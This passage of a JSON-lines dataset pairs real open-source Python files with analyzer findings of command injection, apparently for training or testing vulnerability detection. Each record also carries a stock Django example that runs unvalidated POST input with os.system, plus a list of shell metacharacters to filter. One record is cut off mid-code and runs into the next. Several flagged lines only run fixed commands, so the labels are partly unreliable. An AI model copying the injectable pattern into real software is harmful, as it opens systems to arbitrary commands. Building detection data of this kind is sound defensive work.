\\\n \"\n run_ssh(host, input)\n\n\ndef run_validator_node(host, is_boot_node, is_validator):\n print('Run validator node on host', host, 'is_boot_node =', is_boot_node)\n if not args.with_existing_data:\n init_node(host)\n init_keystore(host)\n input = f\"docker run \\\n -d \\\n --restart unless-stopped \\\n -p 30333:30333 \\\n -v /var/blockchain:/data \\\n coldstack/privatechain:{args.tag} \\\n --name 'Coldstack Validator {args.env}' \\\n --pruning archive \\\n --no-telemetry --no-prometheus \\\n --chain /chainspec/{args.env}.json \\\n --execution wasm \\\n --port 30333 \\\n \"\n if is_validator:\n input = f\"{input} \\\n --validator \\\n \"\n if is_boot_node:\n input = f\"{input} \\\n --node-key {secrets['nodekey']} \\\n \"\n else:\n input = f\"{input} \\\n --bootnodes /ip4/{args.boot_node_addr}/tcp/30333/p2p/{secrets['peer_id']} \\\n \"\n run_ssh(host, input)\n\n\nsecrets = read_secrets_file()\n\nfor i, host in enumerate(args.validator_node):\n run_validator_node(host, is_boot_node = (i == 0), is_validator = (i == 0))\n\nfor host in args.api_node:\n run_api_node(host)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 30, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "ded01c3b0e6d1a43d689a1e1d937761a5568e284c338f5e24499a60b9ab33649", "license": {"spdx": ["MIT"], "repo": "mcpeixoto/Sentrade", "path": "archived/twitter_filtering_deprecated_code/tw_keyword_search.py", "repo_head_hexsha": "55f65508d6b565b99840c9ce5d757185f5027164", "stack_hexsha": "0f9b0b94a9c2c162c1af702148c3ee04656d8ab2", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 17, "entireCode": "__author__ = \"\"\n__status__ = \"prototype\"\n\nimport tarfile\nimport json\nimport re\nimport subprocess\nimport os\nimport nltk\nimport time\n\nyear = 2019\nmonth = 9\nday = 16\nkeyword_list = [\"netflix\", \"amazon\", \"apple\", \"microsoft\", \"google\", \"tesla\", \"facebook\"]\ndate = \"{0}-{1}-{2}\".format(year, str(month).zfill(2), str(day).zfill(2))\nsubprocess.run(\"rm ./keyword_search_time.log\", shell=True)\ntime_log = open(\"./keyword_search_time.log\", 'a')\ntime_log.write(\"{0:8s}\t{1}\\n\".format(\"keyword\", \"searching time(s)\"))\n\n\nfor keyword in keyword_list:\n\tstart_tick = time.time()\n\t# subprocess.run(\"rm \" + \"./subject_tw/raw/{0}_{1}.json\".format(keyword, date), shell=True)\n\ttw_text_file_keyword = open(\"./subject_tw/raw/{0}_{1}.json\".format(keyword, date), 'a')\n\t# for hour in range(6, 24):\n\t# \ttw_folder = \"./{0}/{1}/\".format(str(day).zfill(2), str(hour).zfill(2))\n\t# \tfor filename in os.listdir(tw_folder):\n\t# \t\t# load the json file into the memory\n\t# \t\twith open(tw_folder + filename, 'r') as f:\n\t# \t\t\tdata = [json.loads(line) for line in f]\n\n\t# \t\t# write the selected items into a new json file\n\t# \t\tfor item in data:\n\t# \t\t\tkeys = item.keys()\n\t# \t\t\tif \"text\" in keys and \"lang\" in keys and item[\"lang\"] == \"en\":\n\t# \t\t\t\tif re.search(re.compile(keyword), item[\"text\"].lower()): # search based on the lower case\n\t# \t\t\t\t\tjson.dump(item, tw_text_file_keyword)\n\t# \t\t\t\t\ttw_text_file_keyword.write('\\n')\n\n\ttw_text_file_keyword.close()\n\tend_tick = time.time()\n\ttime_log.write(\"{0:8s}\t{1:.3f}\\n\".format(keyword, end_tick - start_tick))\n\ntime_log.close()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 17, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "b73e8378777512fb596346d6aace3286634235ffec6ff2b76cb08c69ab708cb3", "license": {"spdx": ["MIT"], "repo": "mandarvaze/ulauncher-dendron", "path": "dendron/extension.py", "repo_head_hexsha": "67358dde684127dcba4bb383057b20c7fd89c2a0", "stack_hexsha": "89ff18e78c669221542df841657ba147fbc35054", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 65, "entireCode": "import logging\nimport subprocess\nfrom threading import Thread\nfrom ulauncher.api.client.Extension import Extension\nfrom ulauncher.api.shared.event import KeywordQueryEvent, ItemEnterEvent, \\\n PreferencesEvent, PreferencesUpdateEvent\nfrom ulauncher.api.shared.action.ExtensionCustomAction import \\\n ExtensionCustomAction\nfrom ulauncher.api.shared.action.RenderResultListAction import \\\n RenderResultListAction\nfrom ulauncher.api.shared.item.ExtensionResultItem import ExtensionResultItem\nfrom dendron.preferences import PreferencesEventListener, PreferencesUpdateEventListener\nfrom dendron.query_listener import KeywordQueryEventListener\nfrom dendron.item_listener import ItemEnterEventListener\n\nlogger = logging.getLogger(__name__)\n\n\nclass DendronExtension(Extension):\n \"\"\" Main Extension Class \"\"\"\n def __init__(self):\n \"\"\" Initializes the extension \"\"\"\n super(DendronExtension, self).__init__()\n self.subscribe(KeywordQueryEvent, KeywordQueryEventListener())\n self.subscribe(ItemEnterEvent, ItemEnterEventListener())\n self.subscribe(PreferencesEvent, PreferencesEventListener())\n self.subscribe(PreferencesUpdateEvent,\n PreferencesUpdateEventListener())\n\n def load_notes(self):\n \"\"\" Load Dendron notes into memory \"\"\"\n th = Thread(target=self.dendron.load_notes)\n th.daemon = True\n th.start()\n\n def search_notes(self, query):\n \"\"\" Search notes \"\"\"\n notes = self.dendron.search(query)\n items = []\n\n if len(notes) == 0:\n return RenderResultListAction([\n ExtensionResultItem(icon='images/icon.png',\n name='No notes found',\n highlightable=False)\n ])\n for item in notes[:8]:\n items.append(\n ExtensionResultItem(icon='images/icon.png',\n name=item['title'],\n description=item['file'],\n on_enter=ExtensionCustomAction({\n 'action':\n 'open_note',\n 'path':\n item['path']\n })))\n return RenderResultListAction(items)\n\n def open_note(self, path):\n \"\"\" Open the selected note on the configured Dendron workspace \"\"\"\n cmd = self.preferences[\"dendron_cmd\"]\n cmd = cmd.replace(\"%f%\", path)\n\n subprocess.run(cmd, shell=True)\n\n def reload_action(self):\n \"\"\" Shows reload action \"\"\"\n return RenderResultListAction([\n ExtensionResultItem(icon='images/icon.png',\n name='Reload notes',\n highlightable=False,\n on_enter=ExtensionCustomAction(\n {'action': 'reload'}))\n ])", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 65, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "ca61a123fbae9a0a59dd2eaa032eed79b04bbbd6489864a2daa492703087cd85", "license": {"spdx": ["MIT"], "repo": "mpeters/movie_rating", "path": "test_basic.py", "repo_head_hexsha": "307188ee2908e42bcdc4e98114a7fe9ae264ebeb", "stack_hexsha": "2eea8d34fe53d8a8743f98b68b96db418c9710d2", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 41, "entireCode": "import unittest\nimport subprocess\nimport re\nfrom os import environ\n\nclass MoveRatingTestBasic(unittest.TestCase):\n def setUp(self):\n if environ.get('OMDB_API_KEY') is None or len(environ.get('OMDB_API_KEY')) < 1:\n raise Exception(\"The OMDB_API_KEY environment variable is not set. Unable to run tests without it\")\n\n def test_existing_movie(self):\n p = self._movie_rating_cmd(\"--title 'Guardians of the Galaxy'\")\n rating = p.stdout.rstrip()\n self.assertTrue(re.match(r'^\\d\\d%$', rating), \"Existing movie has a rating ({})\".format(p.stdout))\n\n def test_existing_movie_bad_year(self):\n p = self._movie_rating_cmd(\"--title 'Guardians of the Galaxy' --year 1999\")\n self.assertNotEqual(p.returncode, 0, \"Non-zero return code\")\n self.assertTrue(p.stdout == \"\", \"Bad Year ({}) doesn't have a rating\")\n error = p.stderr.rstrip()\n self.assertEqual(\"We're sorry, but a movie by that name (Guardians of the Galaxy) in that year (1999) was not found\", error, \"Correct error for bad year\")\n\n def test_typo_movie(self):\n p = self._movie_rating_cmd(\"--title 'Napolean Dynamite'\")\n self.assertNotEqual(p.returncode, 0, \"Non-zero return code\")\n self.assertTrue(p.stdout == \"\", \"Typo ({}) doesn't have a rating\")\n error = p.stderr.rstrip()\n self.assertEqual(\"We're sorry, but a movie by that name (Napolean Dynamite) was not found\", error, \"Correct error for typo movie\")\n\n def test_missing_title(self):\n p = self._movie_rating_cmd(\"\")\n self.assertNotEqual(p.returncode, 0, \"Non-zero return code\")\n self.assertTrue('arguments are required: --title' in p.stderr, \"Correct error for missing title\")\n\n def test_invalid_year(self):\n p = self._movie_rating_cmd(\"--title Foo --year 200a\")\n self.assertNotEqual(p.returncode, 0, \"Non-zero return code\")\n self.assertTrue('--year: invalid int value' in p.stderr, \"Correct error for invalid year\")\n\n def test_invalid_api_key(self):\n p = subprocess.run(\"/usr/src/app/movie_rating.py --api-key foo --title foo\", shell=True, capture_output=True, text=True)\n self.assertNotEqual(p.returncode, 0, \"Non-zero return code\")\n self.assertTrue(\"API Key was not valid\" in p.stderr, \"Correct error for invalid api-key\")\n\n\n def _movie_rating_cmd(self, args):\n p = subprocess.run(\"/usr/src/app/movie_rating.py {}\".format(args), shell=True, capture_output=True, text=True)\n return p\n\nif __name__ == '__main__':\n unittest.main()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 41, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "195aadb03a75471949e3d589bbd7221950da64f49340952533715bbf6ea35fb3", "license": {"spdx": ["MIT"], "repo": "MattCJones/engutils", "path": "tests/checkstyle.py", "repo_head_hexsha": "0115f1896f72f475d9073073469d3495ce511f2f", "stack_hexsha": "1b76f5bb1aa93e1e73ce925999a4fb1d6faa34a6", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 18, "entireCode": "#!/usr/bin/env python3\n\"\"\"\nCheck that PEP8 format is followed\n\nAuthor: \nEmail: \n\n:copyright: 2020 by Optionset authors, see AUTHORS for more details.\n:license: GPLv3, see LICENSE for more details.\n\"\"\"\nimport subprocess\n\n\ndef check_format(py_file_path):\n \"\"\"Check format of Python file. \"\"\"\n print(\"=\"*60)\n run_str = f\"pycodestyle -v {py_file_path}\"\n subproc = subprocess.run(run_str, shell=True, capture_output=True,\n check=False)\n print(subproc.stdout.decode('UTF-8'), end='')\n print(\"=\"*60)\n\n\ncheck_format(\"../engutils/engutils.py\")\ncheck_format(\"runtests.py\")", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 18, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "ed36cd0193fa17e50a0b60b3d150bb50b291d83ca1dc50519c2679546239a920", "license": {"spdx": ["Apache-2.0"], "repo": "Human-Lambdas/human-lambdas", "path": "src/human_lambdas/hl_cli.py", "repo_head_hexsha": "9a2f2317f0c8dbfbfa88f3ba4994de7e6b2c4d50", "stack_hexsha": "b68483bd58312eb317c7553af88ae9c0f3a75f5f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 36, "entireCode": "import os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom subprocess import PIPE\n\nimport click\n\n\n@click.group()\ndef cli():\n if \"POSTGRES_DB\" in os.environ:\n click.echo(\n click.style(\n \"POSTGRES_DB is set, will try to run against remote DB\",\n fg=\"yellow\",\n )\n )\n else:\n click.echo(\"Running against local sqlite\")\n\n\n@click.command()\ndef up():\n \"\"\"Starts Human Lambdas\"\"\"\n html = Path(__file__).parent / \"html\"\n html.mkdir(exist_ok=True)\n html_tgz = Path(__file__).parent / \"frontend.tgz\"\n\n shutil.unpack_archive(html_tgz, extract_dir=html)\n click.echo(\"Human Lambdas web running on http://localhost:8000/\")\n gunicorn = Path(sys.executable).parent / \"gunicorn\"\n cmd = f\"{gunicorn.as_posix()} human_lambdas.hl_rest_api.wsgi -b 0.0.0.0:8000 -w 1 -t 1 --timeout 0 --preload\"\n click.echo(f\"Running {cmd}\")\n subprocess.run(\n cmd,\n shell=True,\n stdin=PIPE,\n stdout=PIPE,\n check=True,\n )\n\n\n@click.command()\ndef initdb():\n \"\"\"Initializes the Human Lambdas Database\"\"\"\n cmd = f\"{sys.executable} -m human_lambdas.manage migrate\"\n click.echo(f\"Running {cmd}\")\n\n subprocess.run(\n cmd,\n shell=True,\n stdin=PIPE,\n stdout=PIPE,\n check=True,\n )\n\n\ncli.add_command(up)\ncli.add_command(initdb)\n\nif __name__ == \"__main__\":\n cli()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 36, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "734c65011a8ebf994950d91c4143e649bc778e518cde0fbf7614d2a20cb2d49f", "license": {"spdx": ["MIT"], "repo": "yizaochen/smsl_na", "path": "curves/curves/curves_main_util.py", "repo_head_hexsha": "b4f52b358d98de500a74e9ef2165ff4904dd9e85", "stack_hexsha": "e10c360e3b8583e1f1cb126918437c58ff7db926", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 126, "entireCode": "from os import path, remove\nimport subprocess\nfrom glob import glob\nfrom shutil import move\nimport MDAnalysis as mda\nfrom miscell.file_util import check_dir_exist_and_make, check_file_exist, copy_verbose\nfrom miscell.na_bp import d_n_bp, d_type_na\nfrom pdb_util.pdb import PDBReader, PDBWriter\n\n\nclass PreliminaryAgent:\n d_new_resname = {'RA5': 'A', 'RA3': 'A', 'RA': 'A',\n 'RU5': 'U', 'RU3': 'U', 'RU': 'U',\n 'RC5': 'C', 'RC3': 'C', 'RC': 'C',\n 'RG5': 'G', 'RG3': 'G', 'RG': 'G'}\n\n def __init__(self, rootfolder, host):\n self.rootfolder = rootfolder\n self.host = host\n self.n_bp = d_n_bp[host]\n\n self.host_folder = path.join(rootfolder, host)\n self.pdb_xtc_folder = path.join(self.host_folder, 'pdb_xtc')\n self.single_pdb_folder = path.join(self.host_folder, 'single_pdb')\n self.lis_folder = path.join(self.host_folder, 'lis')\n self.haxis_smooth_folder = path.join(self.host_folder, 'haxis_smooth')\n self.workspace_folder = path.join(self.host_folder, 'workspace')\n\n self.input_pdb_backup = path.join(self.pdb_xtc_folder, f'input.backup.pdb')\n self.input_pdb = path.join(self.pdb_xtc_folder, f'input.pdb')\n self.input_xtc = path.join(self.pdb_xtc_folder, f'input.xtc')\n self.input_pdb_exist = None\n self.input_xtc_exist = None\n\n def initialize_folders(self):\n for folder in [self.host_folder, self.pdb_xtc_folder, self.single_pdb_folder, self.lis_folder, \n self.haxis_smooth_folder, self.workspace_folder]:\n check_dir_exist_and_make(folder)\n\n def check_input_pdb_xtc(self):\n self.input_pdb_exist = check_file_exist(self.input_pdb)\n self.input_xtc_exist = check_file_exist(self.input_xtc)\n\n def copy_input_pdb_xtc(self, old_pdb, old_xtc):\n copy_verbose(old_pdb, self.input_pdb)\n copy_verbose(old_xtc, self.input_xtc)\n self.check_input_pdb_xtc()\n\n def vmd_check_pdb_xtc(self):\n cmd = f'vmd -pdb {self.input_pdb} {self.input_xtc}'\n print(cmd)\n\n def vim_check_pdb(self):\n resid_i = self.n_bp + 1\n resid_j = self.n_bp * 2\n print(f'Please check the resid of second strand is from {resid_i} to {resid_j}')\n print('If not, please add A and B at the end of the lines for the two strands by vim command')\n print(\":{line_begin},{line_end}s/$/A/g\")\n print(\":{line_begin},{line_end}s/$/B/g\")\n print('Remember to trim the file becuase of PDBReader skip_header=1, skip_footer=1')\n print(f'vim {self.input_pdb}')\n\n def check_rna_with_modify_resname(self):\n if self.is_rna():\n copy_verbose(self.input_pdb, self.input_pdb_backup)\n reader = PDBReader(self.input_pdb, segid_exist=False)\n atgs = reader.get_atomgroup()\n for atom in atgs:\n self.modify_rna_resname(atom)\n writer = PDBWriter(self.input_pdb, atgs)\n writer.write_pdb()\n\n def is_rna(self):\n type_na = d_type_na[self.host]\n return type_na == 'arna+arna'\n\n def modify_rna_resname(self, atom):\n new_resname = self.d_new_resname[atom.resname]\n atom.set_resname(new_resname)\n\n def change_input_pdb_resid(self, execute=False):\n if execute:\n copy_verbose(self.input_pdb, self.input_pdb_backup)\n reader = PDBReader(self.input_pdb, segid_exist=True)\n atgs = reader.get_atomgroup()\n for atom in atgs:\n if atom.segid == 'B':\n atom.resid += self.n_bp \n writer = PDBWriter(self.input_pdb, atgs)\n writer.write_pdb()\n\nclass ExtractPDBAgent(PreliminaryAgent):\n def __init__(self, rootfolder, host):\n super().__init__(rootfolder, host)\n self.u = mda.Universe(self.input_pdb, self.input_xtc)\n\n def get_n_frames(self):\n return len(self.u.trajectory)\n\n def print_n_frames(self):\n n_frame = self.get_n_frames()\n print(f'n_frame: {n_frame}')\n \n def extract_pdb_from_xtc(self, start_frame, stop_frame):\n for ts in self.u.trajectory[start_frame:stop_frame]:\n pdb_out = path.join(self.single_pdb_folder, f'{ts.frame}.pdb')\n self.process_single_frame(pdb_out)\n if ts.frame % 500 == 0:\n print(f'Extract PDB for {self.host}, Frame-ID: {ts.frame}')\n\n def process_single_frame(self, pdb_out):\n with mda.Writer(pdb_out, bonds=None, n_atoms=self.u.atoms.n_atoms) as PDBOUT:\n PDBOUT.write(self.u.atoms)\n\nclass ExecCurvesAgent(ExtractPDBAgent):\n lis_name = 'r+bdna'\n\n def execute_curve_plus(self, start_frame, stop_frame):\n for frame_id in range(start_frame, stop_frame):\n self.clean_files()\n f_single_pdb = path.join(self.single_pdb_folder, f'{frame_id}.pdb') \n # Start to execute curves\n cmd = self.get_exectue_curve_plus_cmd(f_single_pdb)\n errlog = open(path.join(self.workspace_folder, 'err.log'), 'w')\n outlog = open(path.join(self.workspace_folder, 'out.log'), 'w')\n subprocess.run(cmd, shell=True, stdout=outlog, stderr=errlog,check=False)\n errlog.close()\n outlog.close()\n # Store .lis and _X.pdb files\n workspace_lis = path.join(self.workspace_folder, f'{self.lis_name}.lis')\n workspace_pdb = path.join(self.workspace_folder, f'{self.lis_name}_X.pdb')\n f_lis = path.join(self.lis_folder, f'{frame_id}.lis')\n f_x_pdb = path.join(self.haxis_smooth_folder, f'{frame_id}.pdb')\n move(workspace_lis, f_lis)\n move(workspace_pdb, f_x_pdb)\n if frame_id % 500 == 0:\n print(f'Curves+ for {self.host}, Frame-ID: {frame_id}')\n\n def clean_files(self):\n pathname = path.join(self.workspace_folder, f'{self.lis_name}*')\n filelist = glob(pathname)\n if len(filelist) != 0:\n for fname in filelist:\n remove(fname)\n\n def get_exectue_curve_plus_cmd(self, f_single_pdb):\n curve = '/home/yizaochen/opt/curves+/Cur+'\n inp_end_txt = self.get_inp_end(f_single_pdb)\n n1, n2, n3, n4 = self.get_four_numbers()\n cmd1 = f'{curve} <, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 31, "entireCode": "from src import fastarg\nimport subprocess\n\ndef test_foo():\n assert 'foo'.upper() == 'FOO'\n\ndef test_fastarg_no_methods():\n app = fastarg.Fastarg()\n\n assert len(app.commands) == 0\n\ndef test_fastarg_one_method():\n app = fastarg.Fastarg()\n\n @app.command()\n def foo():\n print(\"foo\")\n\n assert len(app.commands) == 1\n\ndef test_command_get_name():\n app = fastarg.Fastarg()\n\n @app.command()\n def foo():\n print(\"foo\")\n\n assert app.commands[0].get_name() == \"foo\"\n\ndef test_hello_world():\n completed_process = subprocess.run(\"python3 main.py hello_world foo\", shell=True, capture_output=True)\n assert completed_process.stdout.decode(\"utf-8\") == \"hello foo\\n\"\n\ndef test_create_todo():\n completed_process = subprocess.run(\"python3 main.py todo create_todo \\\"drink water\\\"\", shell=True, capture_output=True)\n assert completed_process.stdout.decode(\"utf-8\") == \"create todo: drink water - False\\n\"\n\ndef test_create_todo_completed():\n completed_process = subprocess.run(\"python3 main.py todo create_todo \\\"drink water\\\" --completed\", shell=True, capture_output=True)\n assert completed_process.stdout.decode(\"utf-8\") == \"create todo: drink water - True\\n\"\n\ndef test_create_address():\n completed_process = subprocess.run(\"python3 main.py user address create_address 123 \\\"456 main st\\\" --city bellevue --state wa --zip 98004\", shell=True, capture_output=True)\n assert completed_process.stdout.decode(\"utf-8\") == \"creating address for user 123\\n456 main st bellevue wa 98004\\n\"", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 31, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
